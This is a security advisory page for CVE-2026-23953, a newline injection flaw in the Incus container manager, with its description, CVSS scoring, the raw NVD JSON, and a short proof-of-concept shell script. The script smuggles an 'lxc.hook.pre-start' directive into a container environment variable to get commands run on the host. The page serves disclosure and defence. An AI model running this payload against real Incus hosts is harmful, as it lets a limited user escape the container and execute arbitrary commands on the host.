Security Vulnerability Report
中文
CVE-2026-23953 CVSS 8.7 HIGH

CVE-2026-23953

Published: 2026-01-22 22:16:21
Last Modified: 2026-01-30 17:28:46

Description

Incus is a system container and virtual machine manager. In versions 6.20.0 and below, a user with the ability to launch a container with a custom YAML configuration (e.g a member of the ‘incus’ group) can create an environment variable containing newlines, which can be used to add additional configuration items in the container’s lxc.conf due to newline injection. This can allow adding arbitrary lifecycle hooks, ultimately resulting in arbitrary command execution on the host. Exploiting this issue on IncusOS requires a slight modification of the payload to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only). A fix is planned for versions 6.0.6 and 6.21.0, but they have not been released at the time of publication.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:* - VULNERABLE
Incus < 6.0.6
Incus < 6.21.0
Incus <= 6.20.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-23953 PoC - Incus newline injection leading to arbitrary command execution # This PoC demonstrates environment variable newline injection in Incus containers INCUS_CMD="incus" CONTAINER_NAME="cve-2026-23953-poc" # Create a malicious environment variable with newline injection # The newline allows adding arbitrary lxc.conf directives MALICIOUS_ENV_VAR="env:MALICIOUS=$(printf 'INJECTED\\nlxc.hook.pre-start=/tmp/pwned.sh')" echo "[*] Creating container with malicious environment variable..." $INCUS_CMD launch images:ubuntu/22.04 $CONTAINER_NAME -c "$MALICIOUS_ENV_VAR" 2>/dev/null echo "[*] Container should execute arbitrary command via pre-start hook" echo "[*] Check /tmp/pwned.sh on host for command execution" # Cleanup # $INCUS_CMD delete -f $CONTAINER_NAME 2>/dev/null

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23953", "sourceIdentifier": "[email protected]", "published": "2026-01-22T22:16:20.673", "lastModified": "2026-01-30T17:28:45.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incus is a system container and virtual machine manager. In versions 6.20.0 and below, a user with the ability to launch a container with a custom YAML configuration (e.g a member of the ‘incus’ group) can create an environment variable containing newlines, which can be used to add additional configuration items in the container’s lxc.conf due to newline injection. This can allow adding arbitrary lifecycle hooks, ultimately resulting in arbitrary command execution on the host. Exploiting this issue on IncusOS requires a slight modification of the payload to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only). A fix is planned for versions 6.0.6\nand 6.21.0, but they have not been released at the time of publication."}, {"lang": "es", "value": "Incus es un gestor de contenedores de sistema y máquinas virtuales. En las versiones 6.20.0 e inferiores, un usuario con la capacidad de lanzar un contenedor con una configuración YAML personalizada (por ejemplo, un miembro del grupo 'incus') puede crear una variable de entorno que contiene saltos de línea, la cual puede usarse para añadir elementos de configuración adicionales en el lxc.conf del contenedor debido a la inyección de saltos de línea. Esto puede permitir añadir ganchos de ciclo de vida arbitrarios, lo que en última instancia resulta en la ejecución arbitraria de comandos en el anfitrión. Explotar este problema en IncusOS requiere una ligera modificación de la carga útil para cambiar a un directorio diferente con permisos de escritura para el paso de validación (por ejemplo, /tmp). Esto puede confirmarse con un segundo contenedor con /tmp montado desde el anfitrión (Una acción privilegiada solo para validación). Se planea una solución para las versiones 6.0.6 y 6.21.0, pero no han sido lanzadas en el momento de la publicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.0.5", "matchCriteriaId": "0DF87DBE-86FF-4E74-8086-AE3360A94C71"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndExcluding": "6.21.0", "matchCriteriaId": "47AA575C-385C-4C34-8CC0-F370EC4ED7B4"}]}]}], "references": [{"url": "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L1081", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-x6jc-phwx-hp32", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/user-attachments/files/24473682/environment_newline_injection.sh", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/user-attachments/files/24473685/environment_newline_injection.patch", "source": "[email protected]", "tags": ["Patch"]}]}}